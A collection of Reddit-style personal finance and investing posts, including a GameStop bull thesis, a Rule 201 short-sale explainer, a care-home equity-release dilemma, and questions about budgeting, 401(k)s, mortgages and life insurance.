adapt Gamestop Wallet as the place to store and display their non-meatspace collectibles would bring great long term value to both customers and vendors. In addition to reviving dormant IPs, Gamestop could also issue collectibles both in store and in wallet to tie in with the launch. Remember all those promo items from midnight launches? Digital collectibles are another way developers can gift swag to their supporters. + +To increase adoption of the Gamestop Wallet, a promotional option to use the $5 Powerup rewards credit to initially fund the wallet would go a long way towards speeding up user count. As mentioned by RC in the activist letter, the PowerUp Rewards program has millions of members. Using the monthly credit to create a new wallet will give millions of junior gamers with no access to a credit card a way to earn and access cash shop items in mobile games – and nothing spreads faster than rumors on a playground. If Gamestop was the pioneer who broke down the paywall for kids without mom’s credit card, they would instantly have another generation of loyal customers. + +With that said, the final part of the bull thesis are readers like you. Gamestop’s profitability is dependent on retail consumers like you, and if that means price matching items so you can buy them at Gamestop or helping others to onboard the Gamestop Wallet, it will go a long way to ensuring a future where your stock investment pays regular dividends. The market is already planning an ETF that is only short Gamestop. DRS will murder these bagholders, but only your continuous support will ensure Gamestop lives on to see some or all of these catalysts come to fruition. This post is flaired Possible DD because you are the ones who will make it possible. Power to the Players belongs to everyone here. +Fam… I know a lot are relatively new to the Market in here. Wanted you to know that historically, the 2 weeks leading up to July 4th have been down about 85% of the time. +Buying during these 2 weeks especially the last 2 trading days of June, and then selling within the 2 weeks after July 4th have historically brought gains 95% of the time. Happy Trading! +I was playing with my favorite Investment return website Portfolio Visualizer. I was curious if someone retired on January 1, 2000, and withdrew an inflation-adjusted 4% out of their starting amount of one million dollars ($1,000,000) + +On June 30th, 2019, after the annual inflation-adjusted 4% annual withdrawals they would have: + +&#x200B; + +$1,044,147 if they would have invested in funds that were 50% Total Stock Market and 50% Total Bond Market (Maximum drawdown of 25.15%) + +$499,585 if they had invested in a fund that was 100% Total Stock Market (Maximum drawdown of 50.89%) + +$1,058,025 if they had invested in a Total Bond Market Fund (With a Maximum Drawdown of 3.99%) + +&#x200B; + +Who said the Bond Market is a bad place to invest your retirement money after retiring? + +&#x200B; + +(This is before any taxes or investment fees.) + +&#x200B; + +Check my figures on this excellent website: + + [https://www.portfoliovisualizer.com/backtest-asset-class-allocation#analysisResults](https://www.portfoliovisualizer.com/backtest-asset-class-allocation#analysisResults) +Going through some pretty crappy financial struggles right now. Seriously learning a TON of useful info on this sub, thanks for that y’all. + +Rather than going my normal route and constantly snacking, I’ve cut all that out so everything lasts longer and the kids can enjoy everything longer, I go drink two BIG glasses of water. Suddenly I’m not hungry anymore, groceries last longer, it’s essentially free, and I’ve lost about 8 pounds so far. All wins. Thanks everyone! + +Also: It is amazing how you can spruce up some basic rice and beans. Another recently discovered favorite. ✌🏼 +I'm going to tell you a little bit of a personal story, because it will illustrate the point, and also a little bit to brag because I'm so proud. ;) + +\- To start, about 1 1/2 years ago I told my husband we had to save up an emergency fund. He didn't see the point. "We have plenty of credit, why do we need an emergency fund?" I insisted, and went full dictator over our finances until we had a full 6 months worth of living expenses saved up. He was not enthused. Until... + +\- Almost a year ago, hubby had an acute infection in a tooth, face blew up in 24 hours. Over the next 48 hours, we went through 2 dentists, 1 root canal, 1 stand-alone emergency room, 1 ambulance ride, 1 hospital admission, and 1 tooth extraction and sinus cavity scraping. Total bills without insurance would have been $20k+. We spent the next 9 months going back and forth with insurance until finally they got it right, and we were responsible for a total of around $5500, which we negotiated down to $3500. Paid in full last month. + +\- 2 months ago I walked away from my job due to severe anxiety attacks and started therapy. So $30k/yr gone, and $500/mo added to our expenses. I'm now about a week away from hunting for a job in my new chosen profession (MUCH less stressful than the previous one). I should be back at around $30k/yr. + +\- 1 month ago hubby's job started a promotion that has cost him about half his typical commission. So, for the past month, we've been bringing in 1/3 of what we were used to. And this promotion is set to last 2 more months. + +\- About a month before I quit, our fully paid-off car broke down, and fixing it would have cost more than it was worth. We decided for the first time to actually have a car payment, which between the payment and insurance, costs us about $325/mo more than our old car. + +Having dealt with all of this going on the past three months, how are we doing? Just fine. Still no debt other than the car payment. Still have about 4 months worth of living expenses tucked away. And we can pretty reasonably expect that I will be employed again within a month. All of this happening all at once could have destroyed us. But it didn't. Because we had an emergency fund, and we live below our means. I can't imagine what my anxiety would be like if we hadn't been prepared. + +Emergency funds. They're super important, and you'll never regret having set it up. Don't wait. +Everyone is saying the housing bubble will pop when interest rates rise, but what will actually cause this to happen? Isn't it in the bank's best interest to keep rates low, as with higher rates a lot of people will default? +I can’t stop stressing/being fixated on money! Not knowing what my money goals are or if buying property in Melbourne is even possible on my wages/savings & is making me depressed. I grew up in a single parent family where money was scarce & lived/grew up around well off families which is where my money anxiety/comparison has came from I suppose. I’m sitting at the following.. + +-80k salary (not loving my current job though and thinking of contracting, which is causing further anxiety about being able to get a loan) +-Family property around 400k that could be used as guarantor +-66k savings (10k emergency) +-29 this year - moved back home last year, prepared to stay til end of this year + +Anyone else in a similar position/mindset? I know money isn’t everything, but just feeling stuck and like I’m not progressing in life! +Hi guys, my tenant has just asked if he could put up a carport with a concrete slab in the back yard at his expense for his classic car he recently purchased. + +For background, He has been a tenant for 5 yrs with no issues. House is 80's built, so slightly older, back yard is about 1000 sqm with a large shed, in which he wants to attach the carport to (I think). I have not responded to his request yet, so unsure what size of shed he is wanting or anything yet. + +Assuming this is something I approve of, what do I need to look out for legally or tax wise (thinking of cost base/CGT etc) if I let him go ahead with this himself - as in him consulting with a carport guy/builder or whatever and paying for it VS me having it done as an owner normally would. +Is this a cause for headaches and a bad idea? +Last week my father in law died. A year before he died, he passed power of attorney to my wife. They were very close and my wife lived with her parents for 34 years (31 excluding university years). She visited them everyday and we own a house down the road, she's clearly a bit of a summer child but I've never minded this as I respect people who are close to their family. + +The reason I say all this is because it is very important to my wife to try and save the home she grew up in. My MIL is also desperate to still be able to visit her home and it not be sold. + +The reason it has to be saved is because MIL went in to long term care for combined vascular dementia and alzheimers and is immobile and doubly incontinent. Her care home fees are £5200 a month. On top of this, FIL took an equity release out for reasons I won't bore you with but it was very unnecessary. This is now built up to £145k. + +Now the good news is that my father in law has £170k in liquid assets after funeral expenses that will now pass to my mother in law. The bad news is he had an agreement with the equity release company that his house should be sold to recoup the debt in the event of his death. + +We could use his liquid assets to clear this debt but then with £25k left it would be 5 months before the house has to be sold anyway. + +I had an idea this week that I wanted to ask about the feasibility of. + +My thoughts were that my wife and I could sell our home. We would then have £120k and could move into her parents house. We also have savings of our own which we already have ringfenced for a baby we have coming soon. We currently have a fixed rate mortgage that we pay £1600 a month on. It ends in June. And if things truly reach the 6% prediction then £2600 a month is what we'd switch to in June. + +If we moved into my wife's parents house and sd up. We could add a portion of our £120k, perhaps £100k of it? Into her care home fees pot as a gift. Then contribute £1500 a month to her care home fees. Combine that with £1700 she could contribute due to her pension and the proportion she gets off deceased FIL and we're looking at a £2000 deficit each month. + +So basically there would be a £125k pot losing £24k a year. Let's say that lasts for 4 years? Then we would have to accept the house will be lost and put it on the market. + +MIL is 76 and not in great health, her parents followed the same trajectory as her and were gone by 80. But life has a funny way of fucking you in the ass. + +So let's say she reaches 80, if we sold the house in her name and then regifted ourselves the £100k with power of attorney. And left MIL £550k (house currently worth £650k) to pay her bills, presumably this lasts until her death as would be 8 years of payment. But if she lives past 88, I'm assuming the government wouldn't be looking for a gift made 8 years ago? + +I'm going to preface this statement by saying I'm known among my friends as being a bit financially naive. But even they have said they're not sure what to do on this one. + +But I feel like this could work? It gets my wife and I out of the fuckery of the interest rate crisis, saves her and MIL family home from being sold off immediately. And if it goes tits up and she defies all predictions and lives, we can at least walk away personally not worse off than we were. + +I also feel like as power of attorney we are acting in MILs best interests because we're not taking any money from her. FIL was a good man and both my wife and I miss him very much. He would want us to try to save his home and garden he loved so much. And I think my wife and I could financially benefit from this too. + +I am prepared to accept I'm being a fool and just let the house go. But I promised my wife I'd try. + +It is not an option for us to port our mortgage as their house is worth a bit more than ours. + +Also would using wife's power of attorney to add her to the deeds be useful in anyway? + +Thank you very much in advance. + +Edit: Something I may have forgotten to mention is that if her liquid assets were used to pay off the equity release company. She'd only have 25k left, which would be gone in about 5-7 months. At which point as far as I can see it, the government would force the sale of her home to pay her continuing care home bills. + +Edit: Thanks everyone for your insight and empathy in the matter. I'm glad I made this post. I'm meeting with the solicitors today and financial advisor. I think the decision will be to let the house go and purchase an annuity for MIL. We have a nice house we've done up. My wife is due to have a baby in a week and emotionally devastated, we both are over FIL. And though his wishes would have been for us to save the house. Unfortunately he hasn't left us in a Good legal position to do so and he wouldn't want us stressing ourselves out over it. +Just wondering that. Some "dead cat bounds" during 2008 crisis last almost 9 weeks, so maybe next month we can start to see downs again. + +I am just a short term bear wishing to buy more stocks at discount for my long term bull. +Just noticed I owed paypal credit $4 but had never applied for a credit line with them. I almost always pay with debit. + +If you click through your puchases in sort of auto mode be careful. Paypal credit is showing up as the default for me on eBay even though I currently have a BALANCE with paypal . + +I see a lot of people who dont shop online often doing this and then forgetting to pay it, easy set up for fees. + +EDIT: There is no sign up for this, so I do not think it counts as a hard credit check. I checked credit karma and there were no new inquiries. They went from pestering you to sign up to making it the default payment option- just deciding to extend you credit. + +Edit 2: some people reporting it shows up as a hard hit on Equifax. u/bigdaddynastypants reports it showing up as CCB/PPC + +Edit 3: i probably 'applied' without paying attention, maybe even entered last 4 social. certainly not deliberate, just that sorta autopilot you do on internets with accounts you already have. +I ask this as a university student that know very little about this. However, the news for the last 3 weeks has been focused on the stock market, focused on stocks and shares falling and bears/bulls. + +Isn't this the best time to buy or try to gain confidence in buying simple well known index funds? +In 2017, Robert Cohen, Co-Chief of the SEC Enforcement Division’s Market Abuse Unit completed an investigation as head of a team that went after Citadel. Citadel paid $22 million for misleading clients about pricing trades. (Article link below) + +[https://www.sec.gov/news/pressrelease/2017-11.html](https://www.sec.gov/news/pressrelease/2017-11.html) + +(TL;dr of this article: Citadel ran two algo's that did not give investors the best price available in the market to purchase securities) + + Where Robert Cohen now? + +https://preview.redd.it/kscozf4j2e271.png?width=2314&format=png&auto=webp&s=6d7ac831a1cf96757ea79b0d36a0f7ac8456f814 + + + +&#x200B; + +I looked up Robert Cohen...thinking that maybe he would continue to fight the good fight and pursue Citadel. Boy, was I wrong. Mr. Cohen now works for Davis Polk. [https://www.davispolk.com/professionals/robert-cohen](https://www.davispolk.com/professionals/robert-cohen) + +Davis Polk are attorneys for Citadel, Robinhood, Schwab, and a number of other financial power houses. + +&#x200B; + +Davis Polk also had a great Associate named Elizabeth Coe from 2001-2009. Elizabeth Coe now works as: Deputy General Counsel at Citadel! Wow...what a coincidence. + +&#x200B; + +https://preview.redd.it/ramxqy262e271.png?width=2027&format=png&auto=webp&s=2b7e27cbfe6606f96f204df9a8b84eb86e9c339a + +&#x200B; + +https://preview.redd.it/d8iit0o03e271.png?width=791&format=png&auto=webp&s=85016743dd35d4d2039ec2e49bc1b72ce6ea40b2 + +So Citadel hires a former associate at Davis Polk & Wardwell to be head general counsel. + +Robert Cohen leaves the SEC after pursuing Citadel and executing litigation against them. + +So...Davis Polk & Wardwell. Here's a name I haven't heard in this saga yet. Wut doing? + +[https://www.courtlistener.com/docket/58978688/parties/curiel-ruth-v-robinhood-securities-llc/](https://www.courtlistener.com/docket/58978688/parties/curiel-ruth-v-robinhood-securities-llc/) + +&#x200B; + +https://preview.redd.it/qjfl46pz4e271.png?width=2091&format=png&auto=webp&s=d9fdb4361dc24f7b2e44e6800ad4f2e3e48e427c + +A lawsuit filed against Robinhood required more counsel from Davis Polk & Wardwell LLP. +Whom did Citadel and Robinhood retain? You guessed it! + +https://preview.redd.it/hbayb9g14e271.png?width=1935&format=png&auto=webp&s=d3d6dd01381f33215e12873486c438045d85a00b + +Tl;dr +Citadel and Davis Polk & Wardwell / the SEC are engaged in a three-way exchange of talent. + +The person that spearheads litigation against Citadel now works for the firm that is retained by Robinhood and Citadel. The corruption knows no bounds. + + +&#x200B; + +https://preview.redd.it/7k0ye2a55e271.png?width=564&format=png&auto=webp&s=e17621a7208a867ebc890332b68aaf78ad420a1c +The NIKKEI 225 peaked at its highest 1989 and has been unable to recover ever since in over 30 years. Why is everyone so bullish on the S&P 500 always going up and up? +I've only been working at goodwill for 6 months and in that time I've gone from the starting pay of $10.50/hr to making $10.65 my first two months and just now (but effective my next paycheck on the 15th) I got a raise to $12/hr! + +I know, most people will say that's not a lot and how at the very least minimum wage should be $15, but I don't live in a city, and here in the buttfuck of Tennessee, that's a lot. I make more than what my dad was making when he had a job (but now I'm the only one in my immediate family who even works. I'm 17. Other than my 15 year old sister I guess) + +I'm really happy about this. I don't want to spend my whole youth just working, so I'm not like my peers who work all week as I only work 3 days to make sure I have time to actually have a life, and with this raise I make more working in 3 days than my peers do working all week. (It was kinda like that before since all my peers make about $8/hr but still. Can't believe no matter how many times I tell them goodwill is better than subway or something they don't listen) + +Anywho, I'm rambling, just a bit excited to be making the extra money + +Edit: because no one gets it right and it's starting to really piss me off, I am a guy. We are in a gay relationship. I am not a woman. Do not refer to me as one. +Over in r/personalfinance, there's an [excellent flowchart](https://i.imgur.com/lSoUQr2.png) that gives a very good rule of thumb for how to distribute your personal spending (in the United States). I was thinking (and hoping) that there might be a comparable tool that would give a very *general* rule of thumb for investment considerations based on market factors. I've been doing more reading in this sub, and based on what I've learned, it's been very helpful to better understand what events trigger investor's moves. + +I am hoping to better understand the relationship between Federal Reserve announcements and how that impacts investment moves into and out of certain sectors, market caps, or asset types. Other indicators that I will be monitoring are the 10 Year Breakeven Inflation Rate, Inflation for consumer prices in the U.S., S&P/Case Shiller U.S. National Home Price Index, CPI, PPI, and GDP. Are there any that I am missing? + +My goal is that this thread can serve as a resource to help newer investors better understand the economy and how to better flesh out a strategy. Regarding the partial list of indicators that I've provided, I was hoping to get contributions where people would provide input in a manner along the lines of "When I compare home prices to inflation and unemployment rates, that tells me that I should start looking at \_\_\_\_\_\_\_ and the reason I say that is because \_\_\_\_\_". I think that something like this would promote healthy discussion as well as outline how the various moving parts impact behavior. + +Ultimately, if there was some sort of flowchart similar in nature to the one I listed above, that would be a really quick and useful tool. But a thread that is full of conversation could serve that purpose as well. + +ETA: Since my OP wasn't clear, I was wondering if there was a comparable flowchart (for investing purposes) to the one I provided (that is used for spending purposes) +Special shoutout to /u/UnempRetardaddy, who inspired me to write up this explanation. Unfortunately, WSB investors have picked up some half-truths with limited information, and are reaching a whole bunch of incorrect conclusions which they're using to justify advice to other traders. BAD MONKEYS. + +&#x200B; + +TL;DR: + +* Short attacks are real +* Short ladder attacks are not +* Any stock that falls 10% in one day (edit: compared to prior days close) is placed on a short-sale restriction for the remainder of that day and the next day +* Short-sale restriction *doesn't* prevent short selling +* It *does* effectively prevent short attacks +* GME was short-sale restricted today, which is why no short attacks could take place to drive the price down. All downward price movement was caused by shareholders. + +&#x200B; + +Let's go into detail: + +&#x200B; + +**Are Short Attacks real, and what are they?** + +Yes. A short attack is simply selling so many shares short that you drive the market price down due to oversupply vs demand. *This works the exact same way as if a shareholder was selling their actual shares, and not borrowed ones.* + +Let's imagine that a bunch of shares are all sold at market price at once. What happens? + +Since they are sold at market price, they automatically meet the bid price offered by the highest bidder in the marketplace, then the next highest bidder, etc. As long as more shares are being sold than there are orders at the highest bid price, then the sale will continue to the next highest bid price, which drops the market price of the stock (market price simply being the last price the stock was sold at). + +If the current highest bid is $100 a share for 100 shares,and the next highest bid on the books is for $99 a share at 1000 shares...Then to drop the market price down $99, I need to sell 100 shares at market price.And if I want to drop the market price down past $99 (to whatever the next highest bid is), I need to sell 1100 shares. + +&#x200B; + +**What are the risks of launching a short attack?** + +When a hedge fund tries a short attack, they are taking a risk that there is more demand to buy shares at current market price than there is supply of shares they are willing to short sell. + +If Melvin tries to short 1 million shares at $100 market price, but 10M shares worth of market price buy orders are immediately placed because people see the price dropping and want to buy the dip, then due to high demand vs supply the share price will go *above* $100, and now Melvin is in the red on their short position. For a real world example of this happening, see TSLA throughout 2020. + +&#x200B; + +**What makes a short attack successful?** + +* Low trading volume - if there aren't a lot of buy orders on the books, there are fewer orders to meet at each price point, and fewer shares need to be sold to drive the price down.*For example: Thurs 1/28, when brokerages halted buying and artificially reduced demand* +* Large supply of shortable shares - there are only so many shares for a company, and only so many of those that shareholders are willing to lend out for short selling. A short seller needs a large enough supply to (temporarily) overwhelm demand.*For example: Despite shorts available for GME being at or near 0, MMs were (legally) allowed to 'naked short', creating artificial supply which allowed hedge funds to short sell at the $500 peak on Thurs (and yes, its as unfair as it sounds)* +* Paper-handed bitches - This is the real key to success. If actual shareholders notice the price dropping and decide to sell as well, it creates a compounding effect, where supply increases even more, and price drops even more, and even more people decide to sell. This can also be caused by price drops triggering stop orders, as well as triggering margin calls by driving accounts below margin maintenance. +* Psychological manipulation - This is a corollary to the previous point. If every shareholder had a sense that the price drop was only due to a short attack, they'd probably hold. But if they see news stories saying shorters closed their positions, that everyone is switching to buying silver, that brokers are halting buying and no one can help drive the price up... well, it makes it a lot easier to justify selling. + +For the greatest example of all four of these elements at work, see GME between last Thursday and this Monday, between the brokerage restrictions (and the Market Maker margin reqs behind them), the media misinformation campaigns, the incredible abuse of naked shorting in the name of 'market liquidity', and the reality of the bull side being a lot of retail investors without deep pockets who overextended at high prices and didn't have enough collective reserves to buy the dips, so they ended up selling. + +&#x200B; + +**Are Short** ***Ladder*** **Attacks real?** + +The claim behind a short ladder attack is similar to the Short Attack described above, with the added flavoring that colluding hedge funds are just selling back and forth to each other. This is impossible. + +Note, per above, that *short attacks* are quite real. What makes a short ladder attack nonsense is the belief that hedge funds can direct who their sell orders go to, or that it's possible to constantly bid a price down in an open market place, where anyone can place a market 'buy' order and prevent the price from dropping till their order is met. + +The closest we came to this notion was last Thursday, where the big players just straight up cheated and shut down much of the buy side of the market, so that, in effect, hedge funds may very well have just been short selling to each other. But that is more due to the environment created by those (hopefully unique) events. + +Shoutout to /u/EmptySet2 for his further breakdown of why it's not a real thing, here:[https://www.reddit.com/r/investing/comments/lbib0x/the\_myth\_of\_the\_short\_ladder\_attack/](https://www.reddit.com/r/investing/comments/lbib0x/the_myth_of_the_short_ladder_attack/) + +&#x200B; + +**What is the Short Sale Rule (aka 'Alternative Uptick Rule' aka 'Rule 201' aka 'Short-Sale Restriction')?** + +There's a bit of history here, with some changes to the rules over time. I'll talk about most recent version of this restriction, which was implemented in 2010: + +1. If any security falls more than 10% within a single trading day, it triggers the 'Alternative Uptick Rule' for the remainder of that day, and for the duration of the next trading day. +2. While that rule is in place, short selling is only permitted if the price of the security is above the current national best bid (aka on the uptick). + +This is required to be enforced by the system as a whole. For this rule to be broken, everyone would have to be in on it, from brokers to clearing entities to market makers. It would be a big fucking deal. + +Source: [https://www.sec.gov/news/press/2010/2010-26.htm](https://www.sec.gov/news/press/2010/2010-26.htm) + +Source for monkeys: [https://www.investopedia.com/terms/s/shortsalerule.asp](https://www.investopedia.com/terms/s/shortsalerule.asp) + +&#x200B; + +**How does this stop a short attack?** + +Recall from earlier that a short attack is just selling a bunch of shares at market price, driving the price down as you meet each next highest bid. + +Well, quite simply, while GME is short-sale restricted, short sellers *cannot* sell their shorted shares to the current highest bidder. They have to set their own ask price above that highest bid price, and wait for a buyer to meet it. + +What does this mean? It means that on a day like today, a short attack by its very nature isn't permitted to happen. *All short selling can do on a day like today is suppress the price from going up*. If the current share price is $60, a hedgie could short sell 10 million shares at an ask of $60.01, and thus the price wouldn't go past that until all 10 mil are bought out. + +&#x200B; + +**What does this mean about current stay of play of GME?** + +Broadly put, for the past week there have been alternating days of massive short attacks, followed by lulls or even upward price movement during the short-sale restricted days. + +Yesterday there was a whole lot of shorting and/or shareholders exiting positions, driving the price down more than 10%. Today, we saw a relatively stable price as only shareholders could sell at market price. + +Put 2 and 2 together and take a wild guess what's coming Monday. + +(Edit: a short attack. That's what's coming. Or maybe it isn't, it's just going to be possible again. Just be aware of the possibility that wasnt there today. ) + + +&#x200B; + +Position: 1000 shares and 5 calls +Hey, + +I wanted to know if you learned anything from this group here ? If so what did you learn ? + +What I learned: + +That you should not take advice from this group regarding stock picks. Im always fine talking about strategies and fundamentals and how to adapt in difficult times etc. + + +I personaly got caught in this: "chasing the next big thing" game ! and over analysed everything and it didnt do anything for me. Im a value investor or whatever and my portfolio rarely changes. + + +Thank you for reading and enjoy your day! +I have about 7k left in my car loan and about 8k wort of Apple Stock I’ve been buying over time. + +I also owe about $800 to my credit card. For the past 3 months I’ve been paying off my card but doing this leaves me with no money and having to pay for stuff with the same credit card starting a loop and racking up another 800 charge for next month. I haven’t paid anything late ever but I’ve been stuck in this loop. + +I was wondering if I should just sell all my Apple stocks I’ve purchased over the years, pay off my car loan, credit card and instead of making car payments I’ll use half of it to buy more stocks again and just restart and save the rest. + +Thanks for the input! +Hello r/financialindependence, I am a long time lurker but a first time poster. + +Recently my girlfriend of 13 years left me. We had been dating since I was 14. It was all because of my attitude towards money. + +Here's some background: + +I grew up poor. My family was very blue collar. I lived in a trailer with my four siblings, Mom was a mechanic, Dad was a waiter and both we making minimum wage. Money was always tight. + +From a very young age my father instilled in me the value of money. It's what kept you alive, with a roof over your head and not starving in the streets. Spending money unnecessarily wasn't just stupid (Dad always reminded me that I couldn't afford to be stupid), it was a moral failing. It was sinful, and you should be ashamed of yourself for acting so badly. + +Growing up, I very much took this to heart. I could pinch a penny until it screamed. I started working at 17, and managed to put myself through college without any loans just by working full time. I lived in a 600sqft house with four roomates, eating rice, beans, tuna, milk and not much else. Any cost that could be cut, got cut. The way it should be. + +Drinking and going out?. Sorry, I can't. +Split a pizza? No, I have food at home. +Drive to Tahoe? Gas is expensive, and it's just cheaper to stay put. +$10 a year for Netflix? There's a library up the road and it's free. + +I never even bought textbooks when I could help it. I could usually bribe someone to let me take it home for the night and photograph every page. My goal was to live off as little as I could stand. Which I calculated to be about $15,800 for my city. So that's that I did. + +I was lucky to major in computer science, it's a booming field with lots of high paying jobs and a shortage of people to fill them. I went from minimum wage to making $75,000/yr to $90,000/yr to $115,000/yr to $145,000/yr over the corse of my career. I'm 27 now, and I make almost 7x as much as most of my childhood friends do now. + +I refused to change my budget, minus a few COL adjustments. I was going to live off <$20,000 if it killed me. Spending money doesn't make me feel good. It makes me feel stupid, weak and honestly a bit sick to my stomach. Even now, my car is a beater, my cellphone is an old Android with a $5 prepaid SIM, and my clothes are all from the thrift store, I live with 3 roommates to keep my rend under $800. I don't want to change any of this, because that would be suboptimal. + +This obviously was a point of contention between my girlfriend and I. I met my girlfriend in middle school when she was 13, and we starting dating right away. To her credit, she stuck with me despite my compulsions. She never demanded much, just my time really. So we got along very well. She only just recently graduated from Medical school, and began her residency. In other words, she only recently began 'adulting' for lack a of better word. + +Now that she has a bit of freedom, she wanted to live her life. She wants to travel, go out to shows and restaurants, have a house with furniture in it, shop somewhere besides Walmart, get out of the ghetto. You get the idea, she wants to spend more money. Justifiably so, but it's so hard for me. + +I attempted to compromise with her. I began to rationalize my spending habits, agreeing to spend a bit more on things which were for her benefit. Never on myself, but I could do it for her. And I did, but apparently I have a way of taking the fun out of things. She told me my attitude has a tendency to sour things which should be fun. Which is true, I wasn't enjoying myself when we were out, I felt dumb and guilty. She said I ruined our trip to Paris, by looking like I wanted to die the entire time. It's all true. + +Anyway, long story short, she left me the other day. For the reasons I just told you about. I guess I just wanted to post here to see if anyone has had the same troubles I do. How do you deal with it? Has it negatively affected your life? Does anyone else here get physically sick when spending money? + +Thanks to everyone who can reply. + +Edit: + +Thanks everyone for your replies. It's given me a lot to think about. I don't think things between me and my (ex) girlfriend are irreconcilable, provided I can learn to be less stringy with my money. My immediate plan of action is two-fold. (1) talk to some kind of therapist about my issues, possibly a couples therapist. My girlfriend just so happens to be a psychiatry resident, so I happen to know quite a few. (2) Create some form of a budget. A lot of you recommend putting aside some amount of money every month, which can't be saved, and has to be spent on 'fun' things. It's going to take a lot of mental effort, but I think I can learn to be okay with this. I just need to remember that what I was doing before was a bit beyond the pale, and honestly not totally rational. + +Once again, thanks everyone. Sorry if I didn't get a change to reply to you, but I did read every comment. +For those who don’t know, QuantConnect is an algorithmic trading platform like Quantopian. + +QuantConnect is currently raising money through crowdfunding. If you have any experience with this platform from an end-user standpoint, what’s your outlook of the product and would you invest in it? + +From my understanding, Hedge funds that leverage the Alpha Streams API search for algorithms that fit their specific criteria and license them for a monthly fee. Quants earn 70% of these fees, which can run anywhere from $100 to $30,000. + +They have around 210000 active users from my understanding so I’m sure at least a few are lurking here. + +NOTE: Any additional information would be helpful. + +RESPONSE: THANK YOU EVERYONE FOR PARTICIPATING, YOUR INPUT HAS BEEN EXTREMELY HELPFUL, PLEASE FEEL FREE TO DROP MORE INFO SO ALL OF US CAN MAKE EDUCATED DECISIONS +I have live data that I would want to analyse, ideally like tradingview allows. + +Is there any website or tool that plots live data better then pythons plotting tool? +There is only one question that needs to be answered: are we at Pluto yet? Or even moon for that matter… + +If not, then just keep posting the purple rings…. + + +We have established well enough that the systems is beyond repair. Beyond tracking them sending money to tax havens, I personally, am ok with the amount of DDs I have ingested in 2021. + + +The one focus now is to DRS any shares that are bought. And also, just be prepared to be surprised. They have proven to be very clever adversaries so far. + +Good luck to us all. + +Edit: the last thing this post is about is Bitcoin. +From 30 March 2019, the administration fee will increase from $1.50 to $2.25 per week, which is an additional $39 per year. + +&#x200B; + +https://i.redd.it/6mwrgsa5mnd21.png +So I am 24 and FIRE is a huge goal for me. Generally straightforward enough, but where I struggle a bit is thinking about a spouse further down the road. Do you save for them? Do you accept they will delay your timeline depending on when they may get on board? Do you keep income streams separately and FIRE yourself? Do you limit yourself to other people that have had FIRE on their mind early? + +Wondering how the rest of you think about this. Or better, if anyone has gone through something like this (had FIRE plans for some time and then found an SO / spouse) +Started a new job today that pays $15/hr. I asked about benefits, vacation, and 401k and was told that "I can file however I want to but I will not be receiving any 1099 or W2 forms". I was also told that I am a "contractor" but that's between me and them and they would deny it if it ever came up. + +So I know they are shady and basically not wanting to report anything to the IRS, but from my understanding I can still file my income to stay straight with the IRS. + +My question is: If I were to stay with this company and report my own income how much would it actually cost me? I was told there will be a guaranteed 40 hrs/week at $15/hr. + +Sorry if any of this is unclear, I am new to all of this and have been a W2 employee up until now so I don't have the greatest understanding of all of this. +It still feels so surreal to me. What do they care what I do with my money? + +Obviously the clerk couldn't tell me what would happen, if I kept using my bank account to shop on Binance. I also assume someone higher up the chain saw the danger DeFi poses for the banking system. + +Honestly, fuck 'em. I'm still so irritated by the call, but it proves once again why we need Bitcoin. Sunk the rest of my fiat into Crypto right after the call ended. + +Anyone else with similar experience? I'm from Europe, btw. + +Edit: Thought I'd do everyone a favor: + +You can check how crypto friendly your bank is by accessing https://moonbanking.com/ + +Please stay safe and don't click any links in the comments. Also, for privacy reasons, I won't name my bank, since that would narrow it down drastically. + +As usual, this community is amazing! Great to be in so early and hodl with you! +It still feels so surreal to me. What do they care what I do with my money? + +Obviously the clerk couldn't tell me what would happen, if I kept using my bank account to shop on Binance. I also assume someone higher up the chain saw the danger DeFi poses for the banking system. + +Honestly, fuck 'em. I'm still so irritated by the call, but it proves once again why we need Bitcoin. Sunk the rest of my fiat into Crypto right after the call ended. + +Anyone else with similar experience? I'm from Europe, btw. + +Edit: Thought I'd do everyone a favor: + +You can check how crypto friendly your bank is by accessing https://moonbanking.com/ + +Please stay safe and don't click any links in the comments. Also, for privacy reasons, I won't name my bank, since that would narrow it down drastically. + +As usual, this community is amazing! Great to be in so early and hodl with you! +I am 35, fully employed making about $110K annually, located in Canada. I am married and have two young children (7 and 5). I am about to receive $70k, I have no RESP, RRSP, or any other funds. I have not used a TFSA either so likely have lots of contribution room. I will have a couple thousand already saved in an emergency fund. I have a mortgage but will be leaving it in December of this year with no penalty, and two car loans both high interest due to being on a consumer proposal 2 years ago (completed and paid off, due to buying a lemon house). No credit card debt or other loans. + +Any advice understanding you do not have my entire financial history. Want to make the most of the incoming money. + +Thanks +So I overpay my mortgage each month to cut down on interest paid over the long haul. It's about $85 extra per month (15% more than I need to). We're getting married in February, at which point I will sell my condo and move in with my fiance. Is it worth it to keep overpaying the mortgage right now, or should I save that extra money (would end up being about $500) and use it for the wedding? + +I'm not hurting for cash, but thinking that the interest savings at this point isn't worth it at all, and the money would go further with spending it on wedding stuff. +Basically, I’m a stay at home mom and my husband is the sole provider for the household. We have one daughter. If something happened to either one of us it would be a huge struggle. We know nothing about life insurance. Any tips or advice on what to look for when shopping around? + +EDIT: wow! thanks for all the advice!! Term insurance it is! +Alright so im 18 I got lucky and snagged a damn good job pulling in almost 4k a month. This is my first “real job” since i dont count arbys as a real job. My aunt said to use principal.com to set up my 401k, i tried, and they arent letting me. So where should i set up my 401k, how much of my paycheck should i put in my 401k, and other stuff like that. I dont have many bills as of right now, just insurance and phone pretty much. +I'm 21 and still young and my family life is fine, but when I decide it's time to fly the coop, I want to do it right. + +Planning reasonable budgets and savings is difficult for me because I don't know where to start, and I don't know much about buying a place - I don't even know what I don't know. I just want a place that's mine, no need to be big. Asking my parents has them get defensive about me even thinking of moving out. I just don't want to be 5 years down the line and have no plan/no idea what I'm doing, with nothing significant saved up. + +About me, I'm in my last year of undergrad and I currently only have a part-time job that pays slightly above minimum wage with benefits. I plan to find a full-time after I graduate. I live in Canada. Any advice? +What should we be doing? Our recent goal is to buy a home even though the market is skyrocketing. The value we put into the home, we think will continue down the line but we need to save about 12 months worth as a good down payment, yet our financial advisor and others are telling us to pay of our loans, put money into brokerage accounts, start Roth and max out my wife's 401s buy insurance both long term and short term + +We have about 3500$ worth of extra income after our necessities. + +Should we continue with working toward a house and move our money to the market or try to pay off debts? With no end in site for govt change of school debts and the housing market/rate changes I am not sure and everything seems so volatile in the next 12 months! + +Our current school loans are decent. I have 50k and the wife has 100k from PA school. We haven't been paying them since covid started unfortunately. + +We don't plan on kids yet or within 5 yrs and we have very stable jobs. I work as an engineer for the city and my wife is a PA. We live very comfortable but that extra cash flow will be used if we don't 